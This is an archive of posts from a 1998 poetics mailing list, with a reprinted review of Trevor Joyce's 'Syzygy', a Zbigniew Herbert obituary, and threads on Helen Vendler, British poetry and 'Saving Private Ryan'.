fax: [redacted]

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750. **L. MacMahon and T.R. Healy**

A Review of Trevor Joyce's Syzygy.

Wed 29 Jul 1998

The following review appeared in The Irish Times, Saturday July 25th.

Syzygy by Trevor Joyce is published by Wild Honey Press and is available from me for £3.50 sterling, or $5 currency or by the usual arrangement.

It may also be purchased from Billy Mills (address below) or from Peter Riley.

Apologies for cross posting.

Randolph Healy

********** A Modernist Eye

A Review Of Trevor Joyce's Syzygy By Michael Smith

The term " Modernism", as applied to the arts, has become so problematic that one scarcely knows what it means any more. So far as literature is concerned, however, I am taking Modernism to mean the use of language that registers the uncertain status of common-sense reality or indeed of any reality. Put another way, it is the use of language that questions the referentiality of language, that no longer treats words as the unquestioned naming of things or actions that are definitely "out there".

With that in mind, and allowing for some notable exceptions, one is forced to admit that not a great deal of contemporary Irish literature, and in particular Irish poetry, can lay claim to being Modernist. The general practice has been and continues to be an unthinking use of language, language as conditioned reflex, with the implicit assumption of an unequivocal reality accessible to agreed by all. An analogy for this literary condition might be painting that ignored the invention of the camera. Of course, the academics, or many of them, know what has been happening in our understanding of language. But by and large their knowledge stays in the lecture-rooms of academe; and for the purpose of "communicating" with the great uninitiated public, in newspaper reviews, for example, these academics are only too willing to fall back on the accepted "norms" of language and literary appreciation.

Thus we still read about the "realistic grittiness" of novelist X or "the sombre portrayal" of Irish life by writer Y or "the sensuousness" of Z's poetry; and we are smugly back in the age of Victoria. Joyce and Beckett did their thing, and Bord Fáilte are truly grateful to them, but there are more important matters to think about, thank you very much, like selling the film rights and making lots of money and being quoted by politicians and appearing on chat shows and being relevant to the Northern situation, etc.

It is not my intention to malign anyone. My purpose, rather, is to attempt to diagnose, or at least point to, an Irish cultural, specifically literary, condition: language as a quantifiable tribal property, to be bought and sold as any other commodity. This is a serious condition, well worth attention. If, as Auden once said, echoing Pound, poets are the antennae of their society, a society is ill-served by poets who give society what it wants and not what poets believe to be true. It may be that this linguistic conservatism is not unique to the Irish poetic situation, but many Irish poets have bough into the myth that the Irish are linguistically better endowed than other peoples, that poetry comes to them more "naturally", that they have simply to lay bare their soul in metaphorically neatly packaged, emotionally laden vignettes and, voilà! That magical object, the poem, makes its appearance.

As a result of the dominance of this poetic conservatism, experimentation among Irish poets is indeed a rare thing. And this state of affairs is all the more regrettable when one considers that two of the greatest literary experimenters of the 20th century, Joyce and Beckett, were Irish.

All of which brings me, albeit circuitously, to the latest work by the little-known (for commercial reasons but probably the most experimental of contemporary Irish poets - Trevor Joyce. Syzygy, Joyce's latest work, is presented as a text comprising three parts: the first two are verse, titled respectively "The Drift" and "The Net", while the third, two pages of prose, provides "Some Notes".

"The Drift" is a sequence of a dozen brief poems, whose tone and manner are recognisably that of the traditional lyric, though here they are stripped down and intensified in passages of puzzling if fascinating density. This, for example, is the seventh of those lyric pieces, perhaps an elegy, perhaps not:

in three quarters now you lie
lacking a fourth
of your voice that flew at once away
not a tremor breeds with the marble orchard
and is it that this simply is either finished or not
or not yet begun
perhaps truly not begun
twig of bone empty still
until there come the words
now quite forgotten whats the air
the sun leans down
and lifts the sea

"The Net" is a single, unpunctuated passage of twenty-four three-line verses from which this is a representative segment:

squares mesh of close actions
griefs are grounds the twig of bone of time and
the sun sun where they sleep centuries new

abstracts attentions of clocks so that eventually stay
empty still tamed rage is heavy influence
leaves howling as wood does not rise

you attend and to the distracted mum unerringly
elements turn the tempting until there come reduced
broke sometimes fierce the dream on the grass

hearing each hour and the child to the infinities
metals in parks only perhaps along the words over
and weary the shadow is mistaken disordered

The relation between the first two parts is complex and rigorously worked. They are composed of the same phrases, identically, with the order of those phrases mapped between the two parts through an abstract symmetrical patterning, which is easier to sample than to describe. If you focus on the mid-lines of the verses quoted from "The Net" you will see familiar phrases from "The Drift" recur: "twig of bone empty still/until there come the words" intercut with phrases from adjacent sections of part one: "intelligence and griefs are tamed/rage is reduced in parks (#5), brief zones/of time and influence/the tasty metals of the air (#6), and fishing the empty grounds/the heavy elements/turn over in their sleep (#8)".

The effect of this structuring is strange and, so far as I know, unique in poetry. "The Notes" refer the reader to the work of the 14th-century French poet and composer Machaut, but surely it is unnecessary to reach back in this manner to justify a contemporary poem, merely because it is so densely ordered. The gesture is required only because of the inertness and insensitivity to form of so much current work. But the invocation of musical analogues is suggestive, as "The Drift" and "The Net" pick up, interweave, drop and resume their themes, touching on love, death, time, chaos, order and dirt in the manner of a fugue.

"There is nothing either finished or not yet begun", says "The Net", and this is borne out in Syzygy, which can never find a place of rest, apart from the dynamic of the poem. "The Notes" strain to bed the details of the lyrics in the facts of the world, granting them a stability at the cost of narrowing their reference, but "The Net" explodes this tendency, ripping the measured words from the territories they have ordered, where they are safe, and freeing them to the use of the imagination, at the cost of imperilling their familiar purchase on the world. And is it that this simply is words asks "The Net". It is not.

You won't find this book in any Irish bookshop, but you can order it from Poetry Distributor, Billy Mills, 29 Grosvenor Court, Templeville Rd., Templeogue, Dublin 6W.

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751. **Simon DeDeo**
Re: angling american poetic redactions
Wed 29 Jul 1998

Mark --

Not sure if you know this, but Vendler has
been a champion of Yeats (over, indeed, Pound and
Eliot) both in the classroom and in her published
work. I spent a term studying WBY under her at Harvard.
In general, before you start wrecking on a particular
person, remember that, chances are, someone else on
the list is going to know them; a lesson I learnt
quickly (hi, Henry.) Interesting, right before I
came to University, I read the APR article that went
house on Vendler; when I studied under her, I was
much impressed by the meanspiritedness of the assesment.

Since when did we get the idea that professors
in the academy should be responsible for keeping up
with the Protean world of contemporary poetry? Isn't
it enough for them to apply their knowledge and skill
to the poets they like? We accept the academies as
repositories of history, but I'm not sure I want to
accept them as scribes of the "accepted" poetry,
whether that be Zukofsky, Eliot or Keats.

It was a monumental break in my own life when I realized
that my poetic education has guided me down a very
particular path, and that, from a height, one could
look down and see thousands of different tracks through
the wood; to criticize a particular critic for missing
contemporary or near-contemporary trends seems to be
akin to complaining that you want a better hand-holder.
Certaintly, critics hold power over the NYT Sunday Book
Review crowd, but, hell, they're the direct genetic
descendents of the people who read Swinburne.

best wishes,

Simon

http://www.fas.harvard.edu/~sdedeo/localpapers.html

[redacted]

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752. **Robert Archambeau**
Re: anglo-american poetic relations
Wed 29 Jul 1998

> *Ashbery read a few of his poems at MIT last fall (along with Holderlin, Moore, Bishop, and Tate)*

Ah, I remember it well. Holderlin drank too much at the reception and started hitting on Elizabeth Bishop -- good think Marianne arrived with her impeccable manners and defused the situation.

RA

↑ Index

753. **Michael Magee**
Re: Saving Private Ryan
Wed 29 Jul 1998

No, they didn't - Truman integrated the troops, but did so either just before or during the Korean War. The fact that Speilberg didn't show ant minority soldiers crossed my mind too, but since he was basically showing one company getting crushed on D-Day I didn't consider it a malignantly ahistorical thing. As for the film in general, which I haven't yet chimed in on, I'll stand up for those first 25 minutes - Anthony Lane points out smartly in the new NYer that the power of that sequence stems not from its "realism" by from its stylized and rhetorical emphasis on the randomness and essential unknowability of war/violence: to wit: there is almost no dialogue for these 25 minutes, & as Lane points out, unlike Peckinpah, Speilberg doesn't fetishize the wound (I'm a big fan of The Wild Bunch but Lane is absolutely right about this) - Speilberg moves from shot to shot so quickly you don't have time as a viewer to admire the aesthetics of the good kill shot. So that sequence is to my mind damn good filmmaking with some real social value. Unfortunately, I though the rest pretty much sucked & agree with Lane that what would have been really striking (but, alas, from Speilberg impossible!) would have been a whole 2 hr movie based on the same style as that beginning, with some equally random and disjunctive downtime. For me the worst part of the film was the present-day sequence which

bookends the WW2 story - sugary and silly, Speilberg can't help but hammer home a redemptive message which in light of the Normandy scene feels completely bogus. But that Normandy scene will stick with me. -m.

According to George Bowering:
> > Refresh my memory. Did the US army have integrated units in WW2?
>
>
> >I haven't actually seen the movie, but I've heard that there are no
> >African American or Chicano soldiers shown in any of the larger battle
> >scenes. Strange since Spielberg claimed to try and make this movie as
> >close to reality as possible and quite a large number of the soldiers that
> >fought in WWII were African American and Chicano or Latino.
> >
> >-Joanna Sondheim
> >
> >
> >
>
>**********
> >"It does not behoove me to make myself smaller than I am."
> >-Edith Sodergran
>
>**********
>
>
>
>
>
> George Bowering.
> ,
> 2499 West 37th Ave.,
> Vancouver, B.C.,
> Canada V6M 1P4
>
> fax: [redacted]
>

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754. Robert Archambeau
Re: angling american poetic redactions
Wed 29 Jul 1998

Keith Tuma wrote:

> *There's an anthology of younger*
> *Scots as well, though I don't have it in front of me and forget the title*
> *and like so much else it's unavailable in the US anyway.*

Do you mean _Dream State_, published by Polygon?

Hard to find in the States, but not impossible -- I ordered mine from that Orwellian-yet-useful behemoth, Amazon.com

Bob Archambeau

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755. dee morris
Re: Saving Private Ryan
Wed 29 Jul 1998

One person's experience: my father spend a part of WWII at Vancouver Barracks training "colored" officers to lead "colored" troops in the Quartermaster Corps. When these men were shipped out, their mission was to follow the white troops onto the beaches of Normandy and "clean up," meaning, it seems, bury people and get blown up by mines.

> *Refresh my memory. Did the US army have integrated units in WW2?*
>
> *I haven't actually seen the movie, but I've heard that there are no*
> *African American or Chicano soldiers shown in any of the larger battle*
> *scenes. Strange since Spielberg claimed to try and make this movie as*
> *close to reality as possible and quite a large number of the soldiers that*
> *fought in WWII were African American and Chicano or Latino.*
>
> *-Joanna Sondheim*
>
> **********
> *
> "*It does not behoove me to make myself smaller than I am.*"
> *-Edith Sodergran*
> **********
> *

George Bowering.

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

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756. Poetics List
Kinsella on Prynne (fwd)
Wed 29 Jul 1998

_____ For those interested I'll be placing the brief introductory article on J.H. Prynne by Rod Mengham and myself on my website tomorrow - it's from the forthcoming Bloodaxe catalogue and lists publication details for the forthcoming *Poems*, includes quotes, a Prynne poem, etc.

J.H. Prynne
Poems
August 1998 234 x 156mm 432 pages
1 85224 492 5 £25.00 cloth
1 85224 491 7 £12.00 paper
Bloodaxe/Folio (Salt) co-publication
Australia: Fremantle Arts Centre Press

Best,
JK

John Kinsella
Churchill College
Cambridge CB3 ODS
England
http://www.geocities.com/SoHo/Square/8574/

↑ Index

757. **Pritchett,Patrick**
Re: Saving Private Ryan
Wed 29 Jul 1998

Having seen the film last night, I pretty much concur with Michael's assessment. The opening set piece is a true tour de force. Unfortunately, it operates more or less independently of the rest of the film, which leads me to wonder if it was even a part of the original script. Spielberg afterall is somewhat obsessed with WWII ("1941," "Empire of the Sun," "Always" (remake of a Guy Named Joe), the first and third Indiana Jones films, and "Schindler." This obsession goes to the heart of his putative vision, as I read it, namely the longing for the restoration of a lost moral order. Unlike other filmmakers who have grappled with this same issue, though, this longing is unsupported by any intellectual toughness and inevitably decays into mushy nostalgia.

After the opener, the film becomes a genre rehash, with on-the-nose squad hijinks, wisecracks and various perils. A few good scenes stand out; though the script is generally very weak, very broad. The acting, though, is superb (really, the best thing in the film). Except for Matt Damon, who is badly miscast - too iconic, as my wife remarked. And Spielberg does have a genius for framing the ideological moment in a very affecting way. The film is being trumpeted of course as non-ideological - though the opening and closing shots are of a backlit, sun-bleached US flag. So much for that. Really, the whole thing is a gigantic ghost story. Only it fails to engage the issues of memory and how the dead continue to exact a toll on the living. If it had ventured more deeply into that territory, it could have been quite good.

Patrick Pritchett

From: Michael Magee
To: [redacted]
Subject: Re: Saving Private Ryan
Date: Wednesday, July 29, 1998 5:48AM

No, they didn't - Truman integrated the troops, but did so either just before or during the Korean War. The fact that Speilberg didn't show ant minority soldiers crossed my mind too, but since he was basically showing one company getting crushed on D-Day I didn't consider it a malignantly ahistorical thing. As for the film in general, which I haven't yet chimed in on, I'll stand up for those first 25 minutes - Anthony Lane points out smartly in the new NYer that the power of that sequence stems not from its "realism" by from its stylized and rhetorical emphasis on the randomness and essential unknowability of war/violence: to wit: there is almost no dialogue for these 25 minutes, & as Lane points out, unlike Peckinpah, Speilberg doesn't fetishize the wound (I'm a big fan of

The Wild Bunch but Lane is absolutely right about this) - Speilberg moves from shot to shot so quickly you don't have time as a viewer to admire the aesthetics of the good kill shot. So that sequence is to my mind damn good filmmaking with some real social value. Unfortunately, I though the rest pretty much sucked & agree with Lane that what would have been really striking (but, alas, from Speilberg impossible!) would have been a whole 2 hr movie based on the same style as that beginning, with some equally random and disjunctive down-time. For me the worst part of the film was the present-day sequence which bookends the WW2 story - sugary and silly, Speilberg can't help but hammer home a redemptive message which in light of the Normandy scene feels completely bogus. But that Normandy scene will stick with me. -m.

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758. Mark Prejsnar
angling american poetic redactions
Wed 29 Jul 1998

Thanx to Keith Tuma for a superb conference report...

Are you sure the entire Polish Oharista movement isn't someone's idea of a joke? Sounds like it (fairly amusing one too) Maybe it's just that the work of Yasusada has badly destabilized the epistomology of improbable poetic identities...Or maybe i just feel defensive about the homeland of my parents' families! (Poland, i mean, not NYC...)

The Vendler stuff is a stitch. She is truely the Ronnie Reagan of poetic reaction: no matter how much of a caricature people turn her into, she goes several steps further in banality and stupidity...I realize that by this point (as happened with that other great communicator) it has become tedious to point out how bankrupt her drivel is. But 1. like Ronnie, she holds enuff power that it's kinda hard to ignore her; 2. she really tends to sum up very well the most conservative trends in the literary establishment.

As a huge McDiarmid fan, not in touch with the last couple of decades of Scottish work, i found the "informationist" tag intriguing.. Anyone know of a good anthology or other source to focus on recent Scottish work?

...have we really overthrown Yeats and cast him into the outer darkness, in favor of Pound? Has the treatment of Yeats in academe really changed so radically since i went to college in the seventies?? I realize many of us working poets are more likely to read Zuke or H.D., but has the establishment really dropped the adulation of WBY that i grew up with? (...that wouldn't be so bad a thing, not because i don't love much of Yeats, but because like TSE and others he had a cult stretching over quite a few decades in mid-20th century academe

that was excessive, boring and used up more of students' energy than any single poet should..)

tendentiously,

mark

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759. **Pritchett,Patrick**
Re: Zbigniew Herbert dies
Wed 29 Jul 1998

Zbigniew Herbert, 73, a Poet Who Sought Moral Values

By HARVEY SHAPIRO

<Picture: Z>bigniew Herbert, the Polish poet and essayist who insisted that civilization depended on artists' staking out clear moral positions resistant to the winds of history and ideology, died yesterday in Warsaw. He was 73.

The cause of death was not disclosed, but a longtime friend and fellow poet, Krzysztof Karasek, said Mr. Herbert had asthma and serious circulatory problems.

The Polish poet Wislawa Szymborska, the 1996 Nobel laureate, told the PAP news agency that Mr. Herbert was a "great artist and thinker" and that he would have an eternal place in Polish literature.

Mr. Herbert's poetry defied categorization. It spoke for no philosophy or school and favored no party or dogma. Although he was a political poet who explored the mechanisms of power and ideology, he resisted Fascism and Communism, nationalism and the church and was willing to pay the price of such moral independence. He gave the impression of being a man alone, answerable to no one except his own conscience.

Place and history determined Mr. Herbert's career as a poet. He lived much of his adult life under the ideologies of National Socialism and Communism. The impingement of the political, the political becoming personal, informed all of his work.

To the chaos of the 20th century, to which he was a personal witness, Mr. Herbert brought a mind trained in law and disciplined by classical literature. It was a mind that would not succumb to self-pity or nostalgia, a mind steeled against chaos.

In "Pebble," one of his best-known poems, he wrote:

Pebbles cannot be tamed
to the end they will look at us
with a calm and very clear eye

Those lines could describe his stance as a writer. The poet Robert Hass once said that Mr. Herbert wrote as if it were "the task of the poet, in a world full of loud lies, to say what is irreducibly true in a level voice."

Mr. Herbert was born in the city of Lvov, then part of Poland and now in Ukraine, in 1924. (The name Herbert is pronounced as in English; in fact, Mr. Herbert claimed the 17th-century English poet George Herbert as a distant relation.) In 1939, as a 15-year-old, he experienced the annexation of his hometown by the Soviet Union. When the Molotov-Ribbentrop Pact collapsed, the city was then seized by the Germans. At the end of the war it was recaptured by the Soviet Union, which retained control over the Baltic republics.

Mr. Herbert wrote his first poems during the Nazi occupation of Poland. As Stanislaw Baranczak, a critic who teaches at Harvard University, has observed, "The image of a city under siege, one of the several symbols that constantly recur in his work, has a historical poignancy that makes it much more than just a figure of speech."

Mr. Herbert took part in the Polish resistance to the Nazi occupiers. When the war ended, he enrolled at the University of Cracow, where he received a master's degree in economics. Later he earned a law degree from Nicolas Copernicus University and a degree in philosophy from the University of Warsaw.

Stalinist restrictions on writers after the war and Mr. Herbert's refusal to bend to Communist dogma and the party functionaries in the Writers' Union impeded the publication of his poetry for 15 years.

During that period he developed his distinctive voice, a style, as the author Eva Hoffman has written, "that functions as a sort of antidote to the dangers of sentimentality or inflation -- restrained, ironic, stripped of punctuation, averse to 'tricks of the imagination' and passionate in its insistence on precision."

His first three volumes of poetry, "A String of Light" (1956), "Hermes, a Dog and a Star" (1957) and "The Study of an Object" (1961), established him as a dominant figure in Polish literature. His search for moral and humanistic values would make a strong impression on his contemporaries and earn him an international audience.

Many poems in those books also appear in the volumes of his poetry available in English: "Selected Poems," translated by Czeslaw Milosz and Peter Dale Scott (Ecco Press, 1986); "Selected Poems" (Oxford Press, 1977), translated by John and Bodgana Carpenter; "Report From the Besieged City," translated by the

Carpenters (Ecco Press, 1985), and "Mr. Cogito," also translated by the Carpenters (Ecco Press, 1993).

Mr. Herbert was a modernist in that he wrote in free form, without rhyme and meter. He was an antimodernist in that his work frequently jumped off from Greek myth, Shakespeare and the Latin poets, and in his refusal to ape chaos. In an essay in praise of the great Dutch painters of the 17th century, he explained, "A major part of contemporary art declares itself on the side of chaos, gesticulates in a void, or tells the story of its own barren soul."

Against this attitude, he posed the painters of that period in the Netherlands, who "believed in the purposefulness of their work and the possibility of interhuman communication. They affirmed visible reality with an inspired scrupulousness." And they did that, he asserted, "as if the order of the world and the revolution of the stars, the permanence of the firmament, depended on it."

Yet there is nothing in Mr. Herbert's poetry to suggest that a traditional, conventional art, one imitating the art of the past, could carry today's meanings. On the contrary, in one of his strongest poems, "Apollo and Marsyas," he describes how pain can dictate a new art. Marsyas, a mortal in the myth on which the poem is based, loses a musical contest to Apollo, the Greek god of beauty, who signifies classical control ("absolute ear/versus immense range"). Apollo punishes Marsyas for daring to challenge his authority by flaying him alive. Describing Marsyas's pain, Mr. Herbert writes:

only seemingly
is the voice of Marsyas
monotonous
and composed of a single vowel
Aaa

in reality
Marsyas relates
the inexhaustible wealth
of his body

bald mountains of liver
white ravines of aliment

As Apollo departs to that sound, he wonders "whether out of Marsyas's howling/there will not someday arise/a new kind/ of art . . . "

And to describe the effect of that art, Mr. Herbert writes:

suddenly
at his feet
falls a petrified nightingale

he looks back
and sees that the hair of the tree to which
Marsyas was fastened
is white
completely

And so the poem ends, moving the myth completely into the 20th century. The pared-down rhetoric, its terse description, is classical (seen with Apollo's eye) but the poem is savage, because it was written in a savage time and because its author believed that art must find a way to reconcile beauty with the reality of human suffering.

Mr. Herbert's stark rhetoric is more than a stylistic characteristic. It signals a moral concern, openly stated in many of his poems, that the path to such reconciliation is to see the world clearly, steadily, with an eye toward understanding it and then writing about it truthfully. His poem "Mr. Cogito and the Imagination," for example, begins:

Mr. Cogito never trusted
tricks of the imagination
the piano at the top of the Alps
played false concerts for him

(He took "the piano at the top of the Alps" from Rimbaud's "Illuminations," a source of the surreal in modern art.)

Later in the poem Mr. Herbert focuses on his theme:

he adored tautologies
explanations
idem per idem

that a bird is a bird
slavery means slavery
a knife is a knife
death remains death

Mr. Cogito inhabits many of Mr. Herbert's poems, a character in search of moral certainties. He is an ordinary man who enjoys reading trashy newspaper stories and who fails when he tries transcendental meditation: "his stream of consciousness brings up detritus like a tin can." He is also Mr. Herbert's mouthpiece, a way of distancing himself from himself.

In the Cogito poems Mr. Herbert became his own subject, but they are not confessional poems in the tradition of Robert Lowell, Sylvia Plath and Anne Sexton. They do not dramatize the ego; they dramatize a mind and the way it looks at

the world. Ultimately, they return us to the world, as do all of his poems, and the search for what is durable in our lives, for what is attainable.

In "The Envoy of Mr. Cogito," he appears to be looking back on his life in Poland during the long years of war and repression. It begins:

Go where those others went to the
dark boundary
for the golden fleece of nothing- ness your last prize

go upright among those who are
on their knees
among those with their backs
turned and those toppled in the
dust

you were saved not in order to live
you have little time you must give testimony

Mr. Herbert was co-editor of a poetry journal, Poezja, from 1965 to 1968 but resigned in protest of anti-Semitic policies. He traveled widely through the West and lived in Paris, Berlin and the United States, where he taught briefly at the University of California at Los Angeles. In one of his essay collections several years ago, "Still Life With a Bridle," translated by the Carpenters (Ecco Press, 1991) he goes in search of the Dutch bourgeois in the golden age of Dutch culture, the 17th century.

After a break of several years from writing, Mr. Herbert, who is survived by his wife, Katarzyna, wrote new poems in 1997 when his health improved slightly. The result was "Storm's Epilogue," published this year.

Mr. Herbert once gave this advice to younger writers: "Life is more complicated, more mysterious and more convoluted than the party, the army, the police. Let us detach ourselves a little from this truly horrible everyday reality and try to write about doubt, anxiety and despair."

↑ Index

760. Mark Prejsnar
S. Howe, or, they laffed when i sat down in the critics' chair
Wed 29 Jul 1998

Let's see...There are very good essays on her in John Taggart's book Songs of Degrees and in one (or more) of Perloff's books; and (i'm pretty sure) in Hank Lazer's Opposing Poetries.

(As hank knows, i'm working my way thru OP, while immersed in about 10 other projects..And *everything* in it is well-focused and exceptionally useful and

lucid, in a perloffian vein you might say; if i misremember about there being a howe essay, he or someone can correct me..As always the book is at home and i can't double-check it today...)

I would just **read the stuff** ....i'm not sure you will see what i consider so remarkable in her work, if you need arguments to convince you.

The important books are: The Europe of Trusts; Singularities; and The Non-Conformist's Memorial. Then you can go back to the early poetry collected in the recent book Frame Structures. Much of it is brilliant, some a bit apprentice.

I reduced the atlanta poets group to raucous laughter one night by declaring that i considered Howe the most important living US poet. Not that they dislike her work: it was the idea that anyone thought he could make such a claim about any one poet, that had 'em rolling in the ailes. These pomo kids, what're'ya gonna do?? No respect for their elders like in my time... Jeeeez

Anyway, she is that, and more.

Mark Prejsnar

On Wed, 29 Jul 1998, Tom Orange wrote:

> *daniel b, mark p --*
>
> *short of a critical treatise, would love to hear more on howe, if only recommendations of some useful secondary-critical takes on or ways into her work.*
>
> *thanks,*
> *t.*

↑ Index

761. **Simon DeDeo**

Re: Was it a "good war"?

Wed 29 Jul 1998

Regarding all these threads on different war movies and the "good versus bad" wars -- there still seems to me, as I wrote in a previous e-mail -- a fundamental difference between fictional recreations of war (or the semi-"documetary" versions that Speilberg churns out) and the "representation" of war itself. By the very virtue that you are watching something 'unreal', projected onto a screen or written in a poem, you are forced away from the political realities; how much difference is there, really, between a WWII movie and Lawerence of Arabia? Both depict the "horrors of war" -- people getting stuck with knives and shot

with guns -- and both, it seems to me, are equally ineffective in making people dislike war any less.

All the glossy weeklies are probably waxing elqouent about the horrors of war as depicted in "Saving Private Ryan"; these are the same people that got us all riled up for the Gulf. And the same audience that gets teary eyed in the movie house goes gungho for the video cameras on smart bombs. And while Kubrick certaintly made a good movie (Full Metal Jacket), I think the only lasting effect it's had has been to popularize a few choice phrases from the drill seargent.

I'm not saying that war poetry is not "effective"; there is, of course, a lot of excellent work. Wilfred Owen, Benjamin Britten's _War Requiem_; but am I the only one who sees a fundamental split between people's aesthetic and ethical responses? I think I count Plato as company for starters, but anybody who reads the _Cantos_ probably recognizes the same kind of internal block.

-- Simon

http://www.fas.harvard.edu/~sdedeo/localpapers.html

[redacted]

↑ Index

762. Kristen Gallagher
address query
Wed 29 Jul 1998

dear buffpoes,

anyone know how to contact susan howe? please, thank you - in advance.

↑ Index

763. groberts
Re: anglo-american poetic relations
Wed 29 Jul 1998

Thank you Keith Tuma for your news: how you could remember so much so vividly after three weeks is a wonder.

I can't contribute much to your query about Mark Ford except to say that Ashbery read a few of his poems at MIT last fall (along with Holderlin, Moore, Bishop, and Tate) before getting to his own work. I vaguely remember there being murmurs of curiosity from the audience after the Ford poems, and

Ashbery remarked at some point that his work was not available in the U.S., with the air of someone who had acquired a special treat and was obligingly sharing it with the rest of us.

Gary R.

↑ Index

764. **Mark Weiss**
Re: Saving Private Ryan
Wed 29 Jul 1998

No.

At 01:13 AM 7/29/98 -0700, you wrote:
>Refresh my memory. Did the US army have integrated units in WW2?
>
>
>>I haven't actually seen the movie, but I've heard that there are no
>>African American or Chicano soldiers shown in any of the larger battle
>>scenes. Strange since Spielberg claimed to try and make this movie as
>>close to reality as possible and quite a large number of the soldiers that
>>fought in WWII were African American and Chicano or Latino.
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>>-Joanna Sondheim
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>>"It does not behoove me to make myself smaller than I am."
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>
>George Bowering.
> ,
>2499 West 37th Ave.,
>Vancouver, B.C.,
>Canada V6M 1P4

>
>fax: [redacted]
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>

↑ Index

765. **Keith Tuma**
Re: anglo-american poetic relations
Wed 29 Jul 1998

That would be Allen (not Alan) Fisher, my now slighty less sleep-deprived eyes tell me as I look over the typing of my reportage.

And I also forgot to mention a very useful, densely informing paper I heard given by Andrew Crozier on the virtually unknown 30s left poet Harry Roskolenko, called "(Fourth) International Modernism: The Case of Harry Rosolenko; or, Apocalyptic Transports of an Objectivist."

Keith Tuma

↑ Index

766. **daniel bouchard**
chris alexander
Wed 29 Jul 1998

Chris Alexander,

Can you back-channel me please?

- db

(sorry for the personal note on the list.)

<<<<<<>>>>>>>>>>>>>>>>>>
Daniel Bouchard
The MIT Press Journals
Five Cambridge Center
Cambridge, MA 02142

[redacted]
phone: [redacted]
  fax: [redacted]
>>>>>>><<<<<<<<<<<<<<<<

↑ Index

767. **Mark Weiss**
Re: angling american poetic redactions
Wed 29 Jul 1998

She didn't just miss the trends, she actively opposed them. But I'm glad she's a nice woman.

At 01:03 PM 7/29/98 +0400, you wrote:
>Mark --
>
> Not sure if you know this, but Vendler has
>been a champion of Yeats (over, indeed, Pound and
>Eliot) both in the classroom and in her published
>work. I spent a term studying WBY under her at Harvard.
>In general, before you start wrecking on a particular
>person, remember that, chances are, someone else on
>the list is going to know them; a lesson I learnt
>quickly (hi, Henry.) Interesting, right before I
>came to University, I read the APR article that went
>house on Vendler; when I studied under her, I was
>much impressed by the meanspiritedness of the assesment.
>
> Since when did we get the idea that professors
>in the academy should be responsible for keeping up
>with the Protean world of contemporary poetry? Isn't
>it enough for them to apply their knowledge and skill
>to the poets they like? We accept the academies as
>repositories of history, but I'm not sure I want to
>accept them as scribes of the "accepted" poetry,
>whether that be Zukofsky, Eliot or Keats.
>
>It was a monumental break in my own life when I realized
>that my poetic education has guided me down a very
>particular path, and that, from a height, one could
>look down and see thousands of different tracks through
>the wood; to criticize a particular critic for missing
>contemporary or near-contemporary trends seems to be
>akin to complaining that you want a better hand-holder.
>Certaintly, critics hold power over the NYT Sunday Book
>Review crowd, but, hell, they're the direct genetic
>descendents of the people who read Swinburne.
>
>best wishes,

>
> Simon
>
>http://www.fas.harvard.edu/~sdedeo/localpapers.html
>[redacted]
>[redacted]
>[redacted]
>
>

↑ Index

768. David Baratier
Re: request for info on cantaloupo
Wed 29 Jul 1998

Charles Cantalupo has a sense of maximalism that fits with Sean Killian except the subject material is centered in the world instead of a non-descript setting bearing a comparable lattices with the mind. Cantalupo has an exquisite sense of journey throughout his best work, in the manner of the Blakean movement of Jerusalem or Patchen's Albion Moonlight. The movement rotates around the subject and is fairly difficult to keep track of but well worth the effort. I sincerely admire Joe Napora for dedicating over 20 pages to "Columba, The Dove" in Bullhead #5, there might even be a sample up on the website. While that action might have played a part in sinking the press, to have the honor of publishing a work such as Columba is worth it.

I'd be interested in what others have to say, if there were any responses, backchannel.

Be well

David Baratier

↑ Index

769. daniel bouchard
Re: anglo-american poetic relations
Wed 29 Jul 1998

Nice reading report from London.

It reminds me that there is an anthology forthcoming from Weslayan in the fall--"OTHER." The complete Introduction is on-line at the JACKET website <<http://www.jacket.zip.com.au/jacket04/otherbrit.html>>

I read it and realized I know very few of the poets included. Obviously this is my own fault; or is it? Is it wrong to ask why "some fifty non-mainstream poets" writing in a language I "know" are so unfamiliar to me. The few that I know/ have read are due, in part, to their work having been introduced to me by Keston Sutherland--an English poet. Is the world so big? Am I alone? Is anyone else looking forward to checking out this book?

If "so much for anglo-americo relations," what about the rest of the planet?

- daniel bouchard

At 12:07 AM 7/29/98 -0600, Keith Tuma wrote:
>So much for Bunting or Prynne, Raworth or Roy Fisher, Alan Fisher or Denise
>Riley, Charles Tomlinson, Tom Leonard, Maggie O'Sullivan--even Philip
>Larkin or Geoffrey Hill or Lynette Roberts or Peter Redgrove or dozens and
>dozens of contenders. What a thing to say. Maybe it was honest. One
>wonders who or what she's read.
>So much for Anglo-American poetic relations.
<<<<<<>>>>>>>>>>>>>>>>>>
Daniel Bouchard
The MIT Press Journals
Five Cambridge Center
Cambridge, MA 02142

[redacted]
phone: [redacted]
  fax: [redacted]
>>>>>>><<<<<<<<<<<<<<<<<

↑ Index

770. David Baratier
vietnam veteran poems vs. hollywood adaptation
Wed 29 Jul 1998

---

peer group

me & the boys got the highest rate
of alcoholism & drug abuse & divorce
& mental illness & suicide
than any other group
in America
It's good to see us win
for a change

--Bill Shields

↑ Index

771. Mark Prejsnar
Coke from the Vendling machine
Wed 29 Jul 1998

Let's see....i don't think i've used up my quota of posts yet..

Keith and Simon put me to shame with their generosity toward the infamous Vendler. (..especially Keith, who i think is somewhat closer to my own poetix...)

No doubt i was being very cantankerous. But i really feel Mark Weiss was right to toss in the comment he did: Vendler is so actively clueless about poetic form and contemporary work, that she has a real impact on where resources go for poetry, in our society. No i don't think she is just a professor and scholar doing work on poets several generations back; she has strong (and laughable) opinions about the contemporary state of the art, and expresses 'em in reviews and articles and public statements and in her books.

I think her conservatism is cartoonishly exaggerated and flat and not-thought-out....Very much like the great Rondini's. No the point of the comparison was not to suggest she has *right-wing beliefs* with regard to politix. I was talking about her esthetic hyperconservatism. And as i said, like Ron she has become *too easy* to laugh at, because of the clodish simplicity of her conservatism. But as Alex Cockburn pointed out about Reagan, a person with institutional power can work against you quite effectively, regardless of whether you perceive them as clownlike..

"what's expertly broken
is not soon vendled"....

mark p.

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772. Keith Tuma
Re: angling american poetic redactions
Wed 29 Jul 1998

> *Thanx to Keith Tuma for a superb conference report...*
>
> *Are you sure the entire Polish Oharista movement isn't someone's idea of a joke? Sounds like it (fairly amusing one too) Maybe it's just that the work of Yasusada has badly destabilized the epistomology of improbable poetic identities...Or maybe i just feel defensive about the homeland of my parents' families! (Poland, i mean, not NYC...)*

Mark,

